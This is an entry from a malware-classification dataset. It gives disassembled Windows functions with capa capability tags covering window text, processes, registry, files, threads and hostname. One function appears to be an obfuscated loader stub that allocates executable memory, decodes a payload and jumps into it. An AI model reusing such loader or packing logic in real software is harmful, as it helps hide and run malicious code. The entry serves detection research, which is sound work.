joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424ac1
Capabilities:
Get graphical window text

Disassembly:
push 0x440
mov eax, 0x46f86e
call fcn.0045f3fe
mov eax, dword [ebp + 8]
mov dword [ebp - 0x430], eax
xor eax, eax
mov ebx, 0x208
push ebx
mov word [ebp - 0x21c], ax
xor esi, esi
lea eax, [ebp - 0x21a]
push esi
push eax
call fcn.004433d0
xor eax, eax
push ebx
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push esi
push eax
call fcn.004433d0
add esp, 0x18
push 0x13a
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x105
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x44c]
call fcn.00443a60
mov dword [ebp - 4], esi
lea edx, [ebp - 0x44c]
mov ecx, edi
call fcn.00424d88
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x44c]
call fcn.00443a60
test bl, bl
je 0x424b9b
lea eax, [edi + 0x2c8]
cmp dword [eax + 0x18], 8
jb 0x424b83
mov eax, dword [eax + 4]
jmp 0x424b86
add eax, 4
push eax
lea eax, [ebp - 0x21c]
push 0x105
push eax
call fcn.00443a60
add esp, 0xc
mov eax, dword [edi + 0x24]
lea ebx, [edi + 0x2e4]
mov dword [ebx + 0x54c], eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebx + 0x528]
call fcn.00443a60
lea eax, [ebp - 0x21c]
push eax
lea esi, [ebx + 0x20]
call fcn.0042e96a
mov dword [ebx + 0x548], 0x6a
call dword [sym.imp.USER32.dll_GetActiveWindow]
push ebx
lea esi, [ebx + 8]
mov dword [ebp - 0x42c], eax
call fcn.0041f6c6
push dword [ebp - 0x42c]
mov ebx, dword [0x47ed8c]
call fcn.00443a60
xor ebx, ebx
inc ebx
cmp eax, ebx
jne 0x424caf
lea eax, [edi + 0x5e2]
push eax
lea eax, [ebp - 0x428]
push 0x105
push eax
call fcn.00443a60
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x44c]
call fcn.00443a60
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x44c]
mov ecx, edi
call fcn.00424d88
mov esi, eax
or dword [ebp - 4], 0xffffffff
push 0
push ebx
lea ecx, [ebp - 0x44c]
call fcn.00443a60
test esi, esi
je 0x424caf
lea eax, [ebp - 0x428]
lea esi, [edi + 0x2c8]
push eax
mov ecx, esi
call fcn.00443a60
cmp dword [esi + 0x18], 8
jb 0x424c7a
mov esi, dword [esi + 4]
jmp 0x424c7d
add esi, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x42c], esp
push esi
call fcn.00443a60
mov dword [ebp - 4], 2
push 0x13a
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
push edi
or dword [ebp - 4], 0xffffffff
mov esi, eax
call fcn.00420c97
mov eax, dword [ebp - 0x430]
mov dword [eax], ebx
xor eax, eax
call fcn.0045f490
ret 4
Function at 0x42c563
Capabilities:
Create process on windows

Disassembly:
push 0x20
mov eax, 0x46aac0
call fcn.0045f3fe
mov esi, dword [ebp + 8]
xor ebx, ebx
xor eax, eax
sub ecx, 0x100
je 0x42c5ab
sub ecx, 0x11
je 0x42c597
sub ecx, 0xf1
jne 0x42c62e
mov eax, dword [esi + 0x2b4]
jmp 0x42c5bb
mov ecx, edi
shr ecx, 0x10
cmp cx, 1
jne 0x42c5a7
movzx eax, di
jmp 0x42c5bb
mov dword [edx], ebx
jmp 0x42c5bb
cmp edi, 0xd
je 0x42c5b5
cmp edi, 0x20
jne 0x42c62e
mov eax, dword [esi + 0x2b0]
cmp eax, ebx
je 0x42c62e
cmp eax, 0x26b
jne 0x42c62e
lea ecx, [ebp - 0x2c]
call fcn.00411d68
mov dword [ebp - 4], ebx
mov ecx, dword [0x481204]
lea eax, [ebp - 0x2c]
push eax
push 8
pop eax
call fcn.00443a60
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x42c5ef
lea eax, [ebp - 0x28]
mov esi, dword [0x481200]
push eax
push 0x40e93c
call fcn.00443a60
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
pop ecx
pop ecx
jae 0x42c60e
lea eax, [ebp - 0x28]
push 1
push ebx
push ebx
push eax
push 0x40deb4
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00443a60
xor eax, eax
call fcn.0045f490
ret 4

Function at 0x42d41b
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x47c144]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [esi + 4], 0xffffffff
je 0x42d43a
mov al, 1
jmp 0x42d4d4
cmp dword [esi + 0x20], 8
jb 0x42d445
mov eax, dword [esi + 0xc]
jmp 0x42d448
lea eax, [esi + 0xc]
push ebx
xor ebx, ebx
push ebx
push 0x80000080
push 4
push ebx
push 3
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x42d46e
xor al, al
jmp 0x42d4d3
cmp dword [esi + 0x2c], ebx
jne 0x42d4ac
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x42d4ac
push 6
pop eax
push ebx
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push dword [esi + 4]
mov byte [ebp - 0xc], 0xff
mov byte [ebp - 0xb], 0xfe
mov byte [ebp - 0xa], 0xd
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0xa
mov byte [ebp - 7], bl
call dword [sym.imp.kernel32.dll_WriteFile]
push 2
push ebx
push ebx
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 0x40ece0
mov ecx, esi
call fcn.0042d4e5
push 0x40ec90
mov ecx, esi
call fcn.0042d4e5
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043dff7
leave
ret
Function at 0x4309b0
Capabilities:
Get graphical window text

Disassembly:
push 0x108
mov eax, 0x46c72b
call fcn.0045f3fe
mov esi, ecx
cmp dword [esi + 0x514], 0
jne 0x430bc7
push 0x141
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
test eax, eax
je 0x430a28
push 0x104
lea edi, [esi + 0x2fe]
push edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksW]
push 0x2e
push edi
call fcn.00443a60
pop ecx
pop ecx
test eax, eax
je 0x430a28
jmp 0x430a24
cmp word [eax], 0x2e
jne 0x430a28
cmp word [eax + 2], 0
jne 0x430a28
push eax
xor ecx, ecx
push edi
mov word [eax], cx
call dword [sym.imp.USER32.dll_CharPrevW]
cmp eax, edi
jne 0x430a0a
lea edx, [esi + 0x2fe]
mov eax, edx
push 2
lea edi, [eax + 2]
pop ebx
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x430a36
sub eax, edi
mov edi, dword [esi + 0x548]
sar eax, 1
cmp eax, edi
jb 0x430b0d
xor eax, eax
push 0xc6
mov word [ebp - 0xd8], ax
xor ebx, ebx
lea eax, [ebp - 0xd6]
push ebx
push eax
call fcn.004433d0
push edi
push 0x40eeec
push 0xffffffffffffffff
lea eax, [ebp - 0xd8]
push 0x64
push eax
call fcn.00443a60
add esp, 0x20
cmp dword [esi + 0x54c], ebx
je 0x430bc7
lea eax, [ebp - 0xd8]
push eax
push 0x1268
lea eax, [ebp - 0x114]
push eax
call fcn.0044be36
mov dword [ebp - 4], ebx
cmp dword [eax + 0x18], 8
jb 0x430aba
mov eax, dword [eax + 4]
jmp 0x430abd
add eax, 4
push eax
lea ecx, [ebp - 0xf8]
call fcn.00443a60
mov byte [ebp - 4], 1
mov esi, dword [esi + 0x54c]
lea ecx, [esi + 0x28]
mov eax, dword [ecx]
push 0x10
lea edx, [ebp - 0xf8]
push edx
call dword [eax + 0xc]
mov byte [ebp - 4], 0
push ebx
push 1
lea ecx, [ebp - 0xf8]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x114]
call fcn.00443a60
jmp 0x430bc7
push edx
lea ecx, [ebp - 0xdc]
call fcn.00443a60
mov dword [ebp - 4], ebx
mov edi, eax
call fcn.00443a60
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0xdc]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
test bl, bl
je 0x430bb2
xor edi, edi
cmp dword [esi + 0x54c], edi
je 0x430bc7
push 0x12c9
lea eax, [ebp - 0x114]
push eax
call fcn.0044bdfb
mov dword [ebp - 4], 3
cmp dword [eax + 0x18], 8
jb 0x430b6c
mov eax, dword [eax + 4]
jmp 0x430b6f
add eax, 4
push eax
lea ecx, [ebp - 0xf8]
call fcn.00443a60
mov byte [ebp - 4], 4
mov esi, dword [esi + 0x54c]
lea ecx, [esi + 0x28]
mov eax, dword [ecx]
push 0x10
lea edx, [ebp - 0xf8]
push edx
call dword [eax + 0xc]
mov byte [ebp - 4], 3
push edi
push 1
lea ecx, [ebp - 0xf8]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push edi
jmp 0x430afb
movzx eax, word [ebp + 8]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
mov edi, esi
call fcn.0043086d
xor eax, eax
call fcn.0045f490
ret 4
Function at 0x430d35
Capabilities:
Terminate thread

Disassembly:
push 0
mov eax, 0x46f373
call fcn.0045f38b
mov esi, dword [ebp + 8]
mov dword [esi], 0x40ef58
mov dword [ebp - 4], 6
mov eax, dword [esi + 0x514]
test eax, eax
je 0x430d8c
push 0x1388
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x430d79
push 0
push dword [esi + 0x514]
call dword [sym.imp.kernel32.dll_TerminateThread]
push dword [esi + 0x514]
call dword [sym.imp.kernel32.dll_CloseHandle]
and dword [esi + 0x514], 0
mov byte [ebp - 4], 5
push 0
push 1
lea ecx, [esi + 0x528]
call fcn.00443a60
mov byte [ebp - 4], 4
push dword [esi + 0x510]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov byte [ebp - 4], 3
lea eax, [esi + 0xc8]
push eax
call fcn.00430632
mov byte [ebp - 4], 2
lea eax, [esi + 0xb0]
push eax
call fcn.00430632
mov byte [ebp - 4], 1
lea eax, [esi + 0x98]
push eax
call fcn.00430632
mov byte [ebp - 4], 0
lea eax, [esi + 0x20]
push eax
call fcn.0042ed5b
or dword [ebp - 4], 0xffffffff
push esi
call fcn.00430d10
call fcn.0045f477
ret 4

Function at 0x4320bd
Capabilities:
Create thread

Disassembly:
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetCapture]
push 0x7f02
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
lea eax, [esi + 0x518]
push eax
push 0
push esi
push 0x4320ff
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esi + 0x514], eax
ret
Function at 0x4370fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x46d0c7
call fcn.0045f439
mov eax, dword [ebp + 8]
mov esi, edx
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
push 2
push ebx
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov dword [ebp - 0x41c], eax
cmp eax, ebx
jne 0x437156
call fcn.00429728
mov esi, eax
jmp 0x437276
push edi
push esi
push eax
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
jne 0x43716f
call fcn.00429728
jmp 0x437268
push esi
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, ebx
je 0x437165
push esi
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x424], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x4371cf
mov byte [ebp - 4], bl
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x4371be
lea eax, [ebp - 0x418]
call fcn.00435b29
mov eax, 0x8007000e
or dword [ebp - 4], 0xffffffff
call fcn.0045f4a4
ret 0xc
mov byte [ebp - 4], 2
push 2
call fcn.00443a60
cmp eax, 0x400
jbe 0x4371f0
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00443a60
jmp 0x4371fc
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
jmp 0x43721a
cmp dword [ebp - 0x418], ebx
jne 0x437229
mov esi, 0x8007000e
jmp 0x43726a
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x420]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
cmp eax, ebx
je 0x437165
xor ecx, ecx
mov edx, dword [ebp - 0x418]
mov word [edx + eax*2], cx
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x418]
lea edx, [ebp - 0x42c]
call fcn.00443a60
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov byte [ebp - 4], bl
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x437292
lea eax, [ebp - 0x418]
call fcn.00435b29
mov eax, esi
jmp 0x4371c3
Function at 0x437dba
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x46a90f
call fcn.0045f38b
xor esi, esi
inc esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0xc]
xor ebx, ebx
cmp dword [ebp + 0x20], 8
mov dword [ebp - 0x14], ebx
jae 0x437ddd
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x14]
push ecx
push esi
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x437e18
mov byte [ebp - 4], bl
push ebx
push esi
lea ecx, [ebp + 8]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push ebx
push esi
lea ecx, [ebp + 0x24]
call fcn.00443a60
xor al, al
call fcn.0045f477
ret 0x38
cmp dword [ebp + 0x3c], 8
push 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x18], ebx
jae 0x437e30
lea eax, [ebp + 0x28]
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push ebx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x14]
test eax, eax
je 0x437e77
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0xd], bl
mov byte [ebp - 4], bl
push ebx
push esi
lea ecx, [ebp + 8]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push ebx
push esi
lea ecx, [ebp + 0x24]
call fcn.00443a60
mov al, byte [ebp - 0xd]
jmp 0x437e10
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
mov dword [edi], eax
mov byte [ebp - 0xd], 1
jmp 0x437e57
Function at 0x437f6b
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x278
mov eax, 0x46d084
call fcn.0045f3fe
mov esi, ecx
xor edi, edi
inc edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0xc]
xor ebx, ebx
cmp dword [ebp + 0x20], 8
mov dword [ebp - 0x278], ebx
jae 0x437f96
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x278]
push ecx
push edi
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x437fd4
mov byte [ebp - 4], bl
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.00443a60
xor al, al
call fcn.0045f490
ret 0x38
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.004433d0
mov eax, dword [ebp + 0x28]
add esp, 0xc
cmp dword [ebp + 0x3c], 8
mov dword [ebp - 0x280], 0x103
mov dword [ebp - 0x27c], ebx
jae 0x43800e
lea eax, [ebp + 0x28]
lea ecx, [ebp - 0x280]
push ecx
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0x27c]
push ecx
push ebx
push eax
push dword [ebp - 0x278]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x278]
test eax, eax
je 0x43806f
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0x271], bl
mov byte [ebp - 4], bl
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp + 0x24]
call fcn.00443a60
mov al, byte [ebp - 0x271]
jmp 0x437fcc
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x270]
push eax
call fcn.00437b61
mov byte [ebp - 4], 2
lea eax, [ebp - 0x244]
push eax
call fcn.00437b61
mov byte [ebp - 4], 3
sub esp, 0x1c
add esi, 4
mov ecx, esp
mov dword [ebp - 0x284], esp
push esi
call fcn.00443a60
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x270]
call fcn.00437b9b
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.00443a60
lea ebx, [ebp - 0x244]
call fcn.00437bdc
mov eax, ebx
lea ecx, [ebp - 0x270]
call fcn.00437d1b
test eax, eax
je 0x438114
mov byte [ebp - 4], 2
mov eax, ebx
push eax
call fcn.00430721
mov byte [ebp - 4], 1
lea eax, [ebp - 0x270]
push eax
call fcn.00430721
mov byte [ebp - 0x271], 1
xor ebx, ebx
jmp 0x438047
mov byte [ebp - 4], 2
lea eax, [ebp - 0x244]
push eax
call fcn.00430721
mov byte [ebp - 4], 1
lea eax, [ebp - 0x270]
push eax
call fcn.00430721
mov byte [ebp - 0x271], 0
jmp 0x43810d
Function at 0x43dff7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47c144]
jne 0x43e001
repz ret
jmp fcn.0044174c

Function at 0x443a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x443a6f
pop dword [ebp - 0x40]
mov eax, 0xdce39bfd
add eax, 0x23609e72
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x531ae
push 0
mov eax, 0xc9c507d6
add eax, 0x367b0a46
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4b7e
mov esi, eax
mov edx, 0x305f39aa
sub edx, 0x301651aa
add edx, dword [ebp - 0x40]
mov edi, 0x7514db6a
sub edi, 0xc9e58014
mov ebx, dword [edx]
xor dword [ebp - 0x3c], 0x2642a51
add ebx, edi
mov dword [ebp - 0x30], 0x2ee64849
mov dword [esi], ebx
xor dword [ebp - 0x1c], 0x66129cb1
add esi, 0x995c2ab8
add esi, 0x66a3d54c
add edx, 0x3224ecaa
add edx, 0xcddb135a
loop 0x443ac8
add eax, 0x5e39d546
sub eax, 0x5e38b47b
mov ebx, eax
add eax, 0x39a73318
add eax, 0xc658cced
mov ecx, 0xba929be0
add ecx, 0x45ad6420
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x44b57b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x47edbc], 0
push esi
jne 0x44b4e9
call fcn.0044b405
test eax, eax
je 0x44b52c
mov eax, dword [0x47edbc]
cmp eax, 1
jne 0x44b50a
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x44b52c
pop esi
ret
push eax
call dword [0x47edc4]
test eax, eax
jne 0x44b574
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x44b530
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x47edbc]
call dword [0x47edc4]
mov edi, eax
test edi, edi
je 0x44b555
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
jmp 0x44b571
mov edi, esi
add esi, 0xff0
push edi
push dword [0x47edbc]
call dword [0x47edc0]
add edi, 0x10
cmp edi, esi
jb 0x44b55d
mov eax, edi
pop edi
pop esi
ret
jmp 0x44b4d6
Function at 0x451d84
Capabilities:
Get hostname

Disassembly:
push 0x248
mov eax, 0x467e8a
call fcn.0045f3fe
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
xor ebx, ebx
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.004433d0
add esp, 0xc
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x254], 0x104
xor esi, esi
call fcn.00451cc2
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x24c], 2
jne 0x451ddf
cmp dword [ebp - 0x248], 5
jae 0x451df6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x250]
call fcn.0045170d
mov al, bl
call fcn.0045f490
ret
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x218]
push eax
push 7
call sub.Secur32.dll_GetComputerObjectNameW
test al, al
je 0x451e55
lea eax, [ebp - 0x218]
push 0x2f
push eax
call fcn.00443a60
pop ecx
pop ecx
cmp eax, ebx
je 0x451e55
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00443a60
lea eax, [ebp - 0x218]
push 0x4041b4
push eax
call fcn.00443a60
add esp, 0x10
mov esi, eax
neg esi
sbb esi, esi
neg esi
cmp esi, ebx
setne bl
jmp 0x451ddf
Function at 0x45582b
Capabilities:
Create directory

Disassembly:
push 0x294
mov eax, 0x468ca0
call fcn.0045f3fe
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x240], ebx
push 0x208
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push ebx
push eax
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x248], edi
mov dword [ebp - 0x244], ebx
call fcn.004433d0
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push 0x104
call fcn.00443a60
test eax, eax
jne 0x4558ad
push 0x409384
mov ecx, esi
call fcn.00443a60
mov dword [ebp - 4], ebx
mov dword [ebp - 0x240], 1
mov eax, esi
jmp 0x455a27
push ebx
lea eax, [ebp - 0x268]
push eax
call fcn.00451af8
mov dword [ebp - 0x24c], eax
xor esi, esi
inc esi
mov dword [ebp - 4], esi
push edi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.00414de7
mov byte [ebp - 4], 2
push dword [ebp - 0x24c]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00419205
add esp, 0x18
mov byte [ebp - 4], 4
push ebx
push esi
lea ecx, [ebp - 0x284]
call fcn.00443a60
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x268]
push ebx
push esi
call fcn.00443a60
cmp dword [ebp - 0x220], 8
mov eax, dword [ebp - 0x234]
jae 0x45592b
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.00443a60
pop ecx
pop ecx
test eax, eax
jne 0x4559cc
inc dword [ebp - 0x244]
push dword [ebp - 0x244]
lea eax, [ebp - 0x2a0]
push eax
call fcn.00451af8
mov edi, eax
mov byte [ebp - 4], 6
push dword [ebp - 0x248]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.00414de7
mov byte [ebp - 4], 7
push edi
push eax
lea eax, [ebp - 0x268]
push eax
call fcn.00419205
add esp, 0x18
mov byte [ebp - 4], 8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x238]
call fcn.00443a60
mov byte [ebp - 4], 7
push ebx
push esi
lea ecx, [ebp - 0x268]
call fcn.00443a60
mov byte [ebp - 4], 6
push ebx
push esi
lea ecx, [ebp - 0x284]
call fcn.00443a60
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a0]
jmp 0x45590f
cmp dword [ebp - 0x220], 8
mov eax, dword [ebp - 0x234]
jae 0x4559e1
lea eax, [ebp - 0x234]
push ebx
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x23c]
test eax, eax
jne 0x4559ff
push 0x409384
call fcn.00443a60
jmp 0x455a0b
lea eax, [ebp - 0x238]
push eax
call fcn.00443a60
mov dword [ebp - 0x240], esi
mov byte [ebp - 4], bl
push ebx
push esi
lea ecx, [ebp - 0x238]
call fcn.00443a60
mov eax, dword [ebp - 0x23c]
call fcn.0045f490
ret 8
Function at 0x4567b5
Capabilities:
Create process on windows

Disassembly:
push 0xb4
mov eax, 0x468f27
call fcn.0045f3fe
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.00443a60
mov eax, dword [eax + 0x40]
add esi, 8
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x50], eax
call fcn.00443a60
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x405a38
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004191b1
mov byte [ebp - 4], 1
push edi
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00419205
add esp, 0x18
mov byte [ebp - 4], 3
push ebx
push 1
lea ecx, [ebp - 0x7c]
call fcn.00443a60
mov esi, dword [ebp - 0x34]
inc esi
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00443a60
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x456861
mov byte [ebp - 0x49], bl
mov byte [ebp - 4], bl
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.00443a60
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00443a60
mov al, byte [ebp - 0x49]
call fcn.0045f490
ret 4
lea eax, [esi + esi]
push eax
push ebx
push edi
call fcn.004433d0
mov eax, dword [ebp - 0x44]
add esp, 0xc
cmp dword [ebp - 0x30], 8
jae 0x45687b
lea eax, [ebp - 0x44]
push eax
push esi
push edi
call fcn.00443a60
push 0x44
pop esi
push esi
lea eax, [ebp - 0xc0]
push ebx
push eax
call fcn.004433d0
add esp, 0x18
mov dword [ebp - 0xc0], esi
cmp dword [ebp - 0x50], ebx
je 0x4568c0
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x4568ae
lea eax, [ebp - 0x28]
push edi
push eax
push 0x4059b0
push dword [ebp - 0x50]
call fcn.00443a60
add esp, 0x10
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x4568cc
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x60]
push ecx
lea ecx, [ebp - 0xc0]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
push eax
call dword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x456909
push 0xffffffffffffffff
push dword [ebp - 0x60]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x60]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x5c]
call esi
xor esi, esi
inc esi
jmp 0x45690b
xor esi, esi
push edi
call fcn.00443a60
cmp esi, ebx
pop ecx
setne byte [ebp - 0x49]
jmp 0x456839